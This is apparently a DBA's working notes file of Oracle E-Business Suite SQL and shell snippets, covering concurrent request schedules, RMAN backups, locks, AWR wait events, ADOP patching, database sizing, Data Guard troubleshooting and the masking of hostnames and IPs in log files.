decode(substr(c.class_info, 35, 1), '1', 'Tu ') ||
decode(substr(c.class_info, 36, 1), '1', 'We ') ||
decode(substr(c.class_info, 37, 1), '1', 'Th ') ||
decode(substr(c.class_info, 38, 1), '1', 'Fr ') ||
decode(substr(c.class_info, 39, 1), '1', 'Sa '))
end as schedule,
c.date1 start_date,
c.date2 end_date,
c.class_info
from fnd_concurrent_requests r,
fnd_conc_release_classes c,
fnd_concurrent_programs_tl p,
fnd_user s,
(with date_schedules as (
select release_class_id,
rank() over(partition by release_class_id order by s) a, s
from (select c.class_info, l,
c.release_class_id,
decode(substr(c.class_info, l, 1), '1', to_char(l)) s
from (select level l from dual connect by level <= 31),
fnd_conc_release_classes c
where c.class_type = 'S'
and instr(substr(c.class_info, 1, 31), '1') > 0)
where s is not null)
SELECT release_class_id, substr(max(SYS_CONNECT_BY_PATH(s, ' ')), 2) dates
FROM date_schedules
START WITH a = 1
CONNECT BY nocycle PRIOR a = a - 1
group by release_class_id) dates
where r.phase_code = 'P'
and c.application_id = r.release_class_app_id
and c.release_class_id = r.release_class_id
and nvl(c.date2, sysdate + 1) > sysdate
and c.class_type is not null
and p.concurrent_program_id = r.concurrent_program_id
and p.language = 'US'
and dates.release_class_id(+) = r.release_class_id
and r.requested_by = s.user_id
order by conc_prog, on_hold, next_run;
============
CHANGE PASSWORD OF EBS USER THROUGH API
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
begin
if fnd_user_pkg.changepassword('SYSADMIN','abcd1234')
then null;
end if;
end;
commit;
===
RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN
BACKUP STATUS check
-------------------
SELECT row_type, operation, status, start_time, end_time
FROM v$rman_status
WHERE status not in 'RUNNING' AND start_time > sysdate -2
ORDER BY start_time ASC;
SELECT OUTPUT_DEVICE_TYPE,STATUS,INPUT_TYPE,START_TIME,END_TIME, OUTPUT_BYTES_DISPLAY, TIME_TAKEN_DISPLAY
FROM v$rman_backup_job_details
WHERE start_time > sysdate -2;
SELECT *
FROM gv$rman_output;
SELECT SID,SERIAL#,OPNAME "TASK_RUNNING",START_TIME "TIME_STARTED",LAST_UPDATE_TIME "CURRENT_TIME",TIME_REMAINING/60 "REMAINING_TIME_IN_MINS", USERNAME "DB_USER" fROM V$SESSION_LONGOPS WHERE TIME_REMAINING<>0 ORDER BY TIME_REMAINING DESC;
SELECT SID,SERIAL#,USERNAME,OSUSER,MACHINE,PROGRAM,MODULE fROM GV$SESSION WHERE SID=9016;
LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS
lockED objects within your Oracle system.
------------------------------------------------------
SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
c.owner,
c.object_name,
c.object_type,
b.sid,
b.serial#,
b.status,
b.osuser,
b.machine
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id;
PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE
>>>>>*****************GET TOP 5 WAIT EVENTS**********
------------------------------------------------------
select (select dbid from v$database) dbid,1,min(dhs.snap_id) min_snap, max(dhs.snap_id) max_snap
from dba_hist_snapshot dhs
where dhs.end_interval_time >= to_date(sysdate - 1)
and dhs.instance_number = 1
group by dbid;
wITH aa AS
(SELECT output, ROWNUM r
FROM table(DBMS_WORKLOAD_REPOSITORY.awr_report_text (&v_dbid, 1, &v_min_snap, &v_max_snap)))
SELECT output top_five
FROM aa, (SELECT r FROM aa
WHERE output LIKE 'Top 5 Timed Foreground Events%') bb
WHERE aa.r BETWEEN bb.r AND bb.r + 10
order by bb.r;
***********************<<<<<
>>>>>*****************GET TOP 5 WAIT EVENTS FOR PAST 5 DAYS**********
-------------------------------------------------------------------------
select Day, Event_name, Total_wait from (
select day, event_name, sum(event_time_waited) total_wait,
row_number() over (partition by day order by sum(event_time_waited) desc) rn from (
SELECT to_date(to_char(begin_interval_time,'dd/mm/yyyy'),'dd/mm/yyyy') day,s.begin_interval_time, m.*
FROM (SELECT ee.instance_number, ee.snap_id, ee.event_name,
ROUND (ee.event_time_waited / 1000000) event_time_waited,
ee.total_waits,
ROUND ((ee.event_time_waited * 100) / et.total_time_waited,
1
) pct,
ROUND ((ee.event_time_waited / ee.total_waits) / 1000
) avg_wait
FROM (SELECT ee1.instance_number, ee1.snap_id, ee1.event_name,
ee1.time_waited_micro - ee2.time_waited_micro event_time_waited,
ee1.total_waits - ee2.total_waits total_waits
FROM dba_hist_system_event ee1 JOIN dba_hist_system_event ee2
ON ee1.snap_id = ee2.snap_id + 1
AND ee1.instance_number = ee2.instance_number
AND ee1.event_id = ee2.event_id
AND ee1.wait_class_id <> 2723168908
AND ee1.time_waited_micro - ee2.time_waited_micro > 0
UNION
SELECT st1.instance_number, st1.snap_id,
st1.stat_name event_name,
st1.VALUE - st2.VALUE event_time_waited,
1 total_waits
FROM dba_hist_sys_time_model st1 JOIN dba_hist_sys_time_model st2
ON st1.instance_number = st2.instance_number
AND st1.snap_id = st2.snap_id + 1
AND st1.stat_id = st2.stat_id
AND st1.stat_name = 'DB CPU'
AND st1.VALUE - st2.VALUE > 0
) ee
JOIN
(SELECT et1.instance_number, et1.snap_id,
et1.VALUE - et2.VALUE total_time_waited
FROM dba_hist_sys_time_model et1 JOIN dba_hist_sys_time_model et2
ON et1.snap_id = et2.snap_id + 1
AND et1.instance_number = et2.instance_number
AND et1.stat_id = et2.stat_id
AND et1.stat_name = 'DB time'
AND et1.VALUE - et2.VALUE > 0
) et
ON ee.instance_number = et.instance_number
AND ee.snap_id = et.snap_id
) m
JOIN
dba_hist_snapshot s ON m.snap_id = s.snap_id
) group by day ,event_name
order by day desc, total_wait desc
) where rn < 5
Execution plan
-----------------
ALTER SESSION SET NLS_dATE_FORMAT='DD/MON/YYYY HH:MI:SS AM';
select * from gv$session where osuser LIKE 'BOADMIN';
SELECT * FROM DICTIONARY WHERE TABLE_NAME LIKE '%PLAN%';
DESC Gv$SQL_PLAN;
SELECT username, prev_sql_id,PROGRAM,MODULE,PREV_EXEC_START
FROM v$session
WHERE username = 'KOUNCIL_DWH';
SELECT *
FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('b4rkxgq8syk5d'));
SELECT *
FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('7tmr31a32n37q'));
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='b4rkxgq8syk5d';
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='7tmr31a32n37q';
############EBS - kill direct db connections through toad and plsql developer
SELECT username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT inst_id,sid,serial#,username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe') and lower(osuser) not in ('ad1007860');
############################################
SELECT * FROM FND_OAM_CONTEXT_FILES WHERE NAME NOT IN ('TEMPLATE','METADATA') ORDER BY NODE_NAME DESC, STATUS ASC;
SELECT name,extractvalue(xmltype(text),'//web_port')
FROM fnd_oam_context_files where status='S'
and NAME NOT IN ('TEMPLATE','METADATA');
ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP
select * From ad_adop_sessions;
select * from fnd_nodes;
select * from fnd_oam_context_files;
select * from adop_valid_nodes;
select * from ad_zd_logs
select ADOP_SESSION_ID,PREPARE_STATUS,APPLY_STATUS,FINALIZE_STATUS,CUTOVER_STATUS,CLEANUP_STATUS,ABORT_STATUS,STATUS,ABANDON_FLAG,NODE_NAME from AD_ADOP_SESSIONS order by ADOP_SESSION_ID;
##############################################################################
DB Size, Avg Archives per day, Undo Data Retention size, Flashback Logs size, Recyclebin size
##############################################################################
set heading on
set feedback off
set linesize 150
set pagesize 1000
set echo off
set verify off
------------
(1) Database
------------
column total_db_size format a30 heading "Total Database Size (GB)"
select to_char((nvl(data_size,0)+nvl(temp_size,0)+nvl(redo_size1,0)+nvl(redo_size2,0)+nvl(cntl_size,0))/1024/1024/1024,'999,990') total_db_size
from (select sum(bytes) data_size from dba_data_files) t1,
(select sum(bytes) temp_size from dba_temp_files) t2,
(select sum(a.bytes) redo_size1 from v$log a, v$logfile b where a.group# = b.group#) t3,
(select sum(a.bytes) redo_size2 from v$standby_log a, v$logfile b where a.group# = b.group#) t4,
(select sum(file_size_blks*block_size) cntl_size from v$controlfile) t5
/
--------------------------------
(2) Average Archive Data Per Day
--------------------------------
column count_dest format a25 heading "Number of Destinations"
column average_archive_size_per_day format a40 heading "Average Archive File Size (MB) Per Day"
select to_char(a.count_dest,'990') count_dest,
to_char(b.total_size/b.no_days/1024/1024,'999,990') average_archive_size_per_day
from (select count(distinct dest_id) count_dest
from v$archive_dest
where status = 'VALID'
and target = 'PRIMARY'
) a,
(select sum(blocks*block_size) total_size, count(distinct trunc(completion_time)) no_days,
min(trunc(completion_time)) min_archive_date, max(trunc(completion_time)) max_archive_date
from v$archived_log
where trunc(completion_time) between trunc(sysdate)-30 and trunc(sysdate)-1
) b
/
-----------------------
(3) Undo Data Retention
-----------------------
column undo_retention format a30 heading "Undo Retention (Days)"
column undo_size format a30 heading "Undo Size (GB)"
select a.undo_retention, b.undo_size
from (select to_char(value/60/60/24,'999,990') undo_retention
from v$parameter
where lower(name) = 'undo_retention'
) a,
(select to_char(sum(bytes)/1024/1024/1024,'999,990') undo_size
from dba_data_files
where tablespace_name in (select tablespace_name
from dba_tablespaces
where contents = 'UNDO'
)
) b
/
------------------
(4) Flashback Logs
------------------
column flashback_on format a15 heading "Flashback On"
column flashback_retention format a30 heading "Flashback Retention (Days)"
column flashback_size format a20 heading "Flashback Size (GB)"
column flashback_destination format a50 heading "Flashback Destination"
select a.flashback_on, c.flashback_retention, b.flashback_size, d.flashback_destination
from (select flashback_on
from v$database
) a,
(select to_char(sum(flashback_size)/1024/1024/1024,'999,990') flashback_size
from gv$flashback_database_log
) b,
(select to_char(value/60/24,'999,990') flashback_retention
from v$parameter
where lower(name) = 'db_flashback_retention_target'
) c,
(select value flashback_destination
from v$parameter
where lower(name) = 'db_recovery_file_dest'
) d
/
--------------
(5) Recyclebin
--------------
column recyclebin_status format a30 heading "Recyclebin Status"
column recyclebin_size format a30 heading "Recyclebin Size (MB)"
select a.recyclebin_status, b.recyclebin_size
from (select value recyclebin_status
from v$parameter
where lower(name) = 'recyclebin'
) a,
(select to_char(sum(a.space*b.block_size)/1024/1024,'999,990') recyclebin_size
from dba_recyclebin a, dba_tablespaces b
where a.ts_name = b.tablespace_name
) b
/
prompt
prompt
###############################
Data Guard Dataguard Quick SQL dg dg dg
###############################
SQL> show parameter succ
Name TYPE value
---------------------------------------- --------------
log_archive_min_succeed_dest integer 2
ORA-16401: archive log rejected by Remote File Server (RFS)
alter database set standby database to maximize performance;
alter system checkpoint global; --> on primary to switch both instance log files.
alter database recover managed standby database using current logfile disconnect from session;
alter database recover managed standby database using current logfile disconnect from session;
select thread#,max(sequence#) from v$archived_log group by thread#;
select thread#, max(sequence#) from v$archived_log where applied ='YES' and REGISTRAR='RFS' group by thread# ;
set pagesize 10000
select process, status from V$managed_standby;
select * from (SELECT THREAD#, MAX(SEQUENCE#), TO_CHAR(FIRST_TIME,'DD-MON-YY HH:MI:SS AM') AS "LAST_APPLIED_LOG" FROM V$LOG_HISTORY GROUP BY THREAD#, FIRST_TIME order by FIRST_TIME desc ) where rownum < 3;
select thread#, max(sequence#) "Last Primary Seq Generated"
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread# order by 1;
SHOW PARAMETER log_archive_dest_state_2
alter system set log_archive_dest_state_2='defer' scope=memory sid='*';
alter system set log_archive_dest_state_2='enable' scope=memory sid='*';
select process,status,sequence# from v$managed_standby;
select message from v$dataguard_status;
SQL> ALTER DATABASE REGISTER LOGFILE '/u01/mydb/archivelog/mydbdr_1_45563_935510789.arc';
Database altered.
SQL> ALTER DATABASE REGISTER LOGFILE '/u01/mydb/archivelog/mydbdr_1_45564_935510789.arc';
*
ERROR at line 1:
ORA-16089: archive log has already been registered
SELECT PROCESS, STATUS, THREAD#, SEQUENCE#, BLOCK#, BLOCKS FROM V$MANAGED_STANDBY;
PROCESS STATUS THREAD# SEQUENCE# BLOCK# BLOCKS
--------- ------------ ---------- ---------- ---------- ----------
ARCH CONNECTED 0 0 0 0
ARCH CONNECTED 0 0 0 0
ARCH CONNECTED 0 0 0 0
ARCH CONNECTED 0 0 0 0
MRP0 WAIT_FOR_GAP 1 45568 0 0
*Heartbeat failed to connect to standby
SOLUTION: Copied the password file from node1 to DR server, it got out of sync when password was changed for sys manually.
set longc 2000
set lines 300
col name for a60
select process, status from V$managed_standby;
SELECT THREAD#, MAX(SEQUENCE#) AS "LAST_APPLIED_LOG"
FROM V$LOG_HISTORY
GROUP BY THREAD#
/
select *
from (SELECT THREAD#,
MAX(SEQUENCE#),
TO_CHAR(FIRST_TIME,
'DD-MON-YY HH:
MI:SS AM') AS "LAST_APPLIED_LOG"
FROM V$LOG_HISTORY
GROUP BY THREAD#, FIRST_TIME
order by FIRST_TIME desc)
where rownum < 3;
select thread#, max(sequence#) "Last Primary Seq Generated"
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread#
order by 1;
SELECT PROCESS, STATUS, THREAD#, SEQUENCE#, BLOCK#, BLOCKS FROM V$MANAGED_STANDBY;
----------------------------------
GET List the IPs in the Log Files
----------------------------------
find . -type f -name '*' | while read FILE
do
apath=`pwd`
for j in `awk 'match($0, /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {i[substr($0,RSTART,RLENGTH)]=1}END{for(ip in i){printf("%s\n", ip)}}' $FILE `
do
echo $j " in " $FILE
done
done
----------------------------------------------------
Comprehensive in the Log Files
----------------------------------------------------
find . -type f -name '*' | while read FILE
do
sed -i 's/ebstest_ebstest/APPNAME_NODE1/g' ${FILE} # Scramble APPNAME_HOSTNAME
sed -i 's/u02\/ebstest/DISK\/APPNAME/g' ${FILE} # Scramble EBS Instance Name
sed -i 's/ebstest/NODE1/g' ${FILE} # Scramble Apps Host name
sed -i 's/ed-olraclin1/PHY_NODE1_NAME/g' ${FILE} # Scramble Physical Hostname1
sed -i 's/ed-olraclin2/PHY_NODE2_NAME/g' ${FILE} # Scramble Physical Hostname2
sed -i 's/apps/DEFAULT_APP_NAME/g' ${FILE} # Scramble Default App Name
sed -i 's/apps\-cluster/CLUSTER_NAME/g' ${FILE} # Scramble Cluster name Lower Case
sed -i 's/apps\-cluster/CLUSTER_NAME/g' ${FILE} # Scramble Cluster name Upper Case
sed -i -r 's/(\b[0-9]{1,3}\.){3}[0-9]{1,3}\b/999.999.999.999/g' ${FILE} # Scramble IP Address to standard 999.999.999.999
done
----------------------------------
apps List the IPs in the Log Files
----------------------------------
find . -type f -name '*' | while read FILE
do
apath=`pwd`
for j in `awk 'match($0, /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {i[substr($0,RSTART,RLENGTH)]=1}END{for(ip in i){printf("%s\n", ip)}}' $FILE `
do
echo $j " in " $FILE
done
done
query to find hidden parameters starting with _ underscore
SELECT name,description from SYS.V$PARAMETER WHERE name LIKE '\_%' ESCAPE '\';
query to find periodic alerts scheduled
SELECT
FATL.APPLICATION_NAME,AA.ALERT_ID,AA.ALERT_NAME,AA.CREATION_DATE,AA.LAST_UPDATE_DATE,AA.START_DATE_ACTIVE,
AA.END_DATE_ACTIVE,AL_CONDITION_TYPE.MEANING
ALERT_CONDITION_TYPE,AL_FREQUENCY_TYPE.MEANING ALERT_FREQUENCY_TYPEFROM APPS.ALR_ALERTS AA,APPS.ALR_LOOKUPS AL_FREQUENCY_TYPE,APPS.ALR_LOOKUPS AL_CONDITION_TYPE,APPS.FND_APPLICATION_TL FATL
WHERE AA.ENABLED_FLAG='Y' AND
AL_FREQUENCY_TYPE.LOOKUP_CODE=AA.FREQUENCY_TYPE AND AL_FREQUENCY_TYPE.ENABLED_FLAG='Y' AND
AL_FREQUENCY_TYPE.LOOKUP_TYPE='ALERT_FREQUENCY_TYPE' AND
AL_CONDITION_TYPE.LOOKUP_CODE=AA.ALERT_CONDITION_TYPE AND AL_CONDITION_TYPE.ENABLED_FLAG='Y' AND
AL_CONDITION_TYPE.LOOKUP_TYPE='ALERT_CONDITION_TYPE' AND
FATL.APPLICATION_ID=AA.APPLICATION_ID AND FATL.LANGUAGE='US'
ORDER BY AA.APPLICATION_ID,AA.FREQUENCY_TYPE;